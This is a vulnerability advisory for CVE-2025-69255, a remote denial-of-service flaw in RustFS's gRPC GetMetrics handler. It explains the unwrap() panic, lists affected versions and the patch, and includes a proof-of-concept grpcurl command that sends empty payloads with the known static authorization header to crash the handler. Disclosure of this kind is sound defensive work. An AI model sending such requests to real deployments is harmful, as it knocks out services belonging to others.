CVE-2025-69255: RustFS gRPC GetMetrics deserialization panic enables remote DoS
Summary A malformed gRPC GetMetrics request causes getmetrics to unwrap() failed deserialization of metrictype/opts, panicking the handler thread and enabling remote denial of service of the metrics endpoint.
Details - Vulnerable code: rustfs/src/storage/tonicservice.rs:1775-1782: - MetricType and CollectMetricsOpts are deserialized with Deserialize::deserialize(...).unwrap() from client-supplied bytes. - Malformed metrictype/opts (e.g., empty or truncated rmp-serde payloads) trigger InvalidMarkerRead and panic. - Reachability: same TCP listener as S3 (default :9000); only a static interceptor token authorization: rustfs rpc is checked in server/http.rs:677. - Impact scope: panic terminates the worker handling the request, causing metrics service interruption and potential process instability.
PoC
rustfs-grpc-metrics-invalid-metric-type-panic-poc.tar.gz
1) Start RustFS (example local dev): bash mkdir -p /tmp/rustfs-data1 /tmp/rustfs-data2 RUSTFSACCESSKEY=devadmin RUSTFSSECRETKEY=devadmin \ cargo run --bin rustfs -- --address 0.0.0.0:9000 \ /tmp/rustfs-data1 /tmp/rustfs-data2 2) From rustfs-grpc-metrics-invalid-metric-type-panic-poc/, run: bash ENDPOINT=127.0.0.1:9000 make run or: grpcurl -plaintext \ -H 'authorization: rustfs rpc' \ -import-path ../crates/protos/src -proto node.proto \ -d '{"metrictype":"","opts":""}' \ 127.0.0.1:9000 nodeservice.NodeService/GetMetrics 3) Observe panic in server logs at tonicservice.rs:getmetrics with InvalidMarkerRead and worker crash; client output saved to poc-response.txt/poc-grpcurl.log.
Impact - Vulnerability type: remote unauthenticated (static token) denial of service via panic in gRPC handler. - Who is impacted: any deployment exposing the gRPC endpoint where an attacker can reach port 9000 and supply the known authorization: rustfs rpc header; metrics service is disrupted and may affect overall stability depending on runtime crash handling.
Other sources
RustFS is a distributed object storage system built in Rust. In versions 1.0.0-alpha.13 to 1.0.0-alpha.77, a malformed gRPC GetMetrics request causes getmetrics to unwrap() failed deserialization of metrictype/opts, panicking the handler thread and enabling remote denial of service of the metrics endpoint. This issue has been patched in version 1.0.0-alpha.78.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2025-69255?
The severity of CVE-2025-69255 is categorized as high due to its potential to cause remote denial of service.
How do I fix CVE-2025-69255?
To fix CVE-2025-69255, upgrade the rustfs package to version 1.0.0-alpha.78 or later.
Which versions of rustfs are affected by CVE-2025-69255?
Versions of rustfs from 1.0.0-alpha.13 to 1.0.0-alpha.77 are affected by CVE-2025-69255.
What causes the vulnerability in CVE-2025-69255?
CVE-2025-69255 is caused by a malformed gRPC GetMetrics request that triggers a panic in the handler thread.
What is the potential impact of CVE-2025-69255?
The potential impact of CVE-2025-69255 is a denial of service, allowing remote attackers to disrupt the metrics endpoint.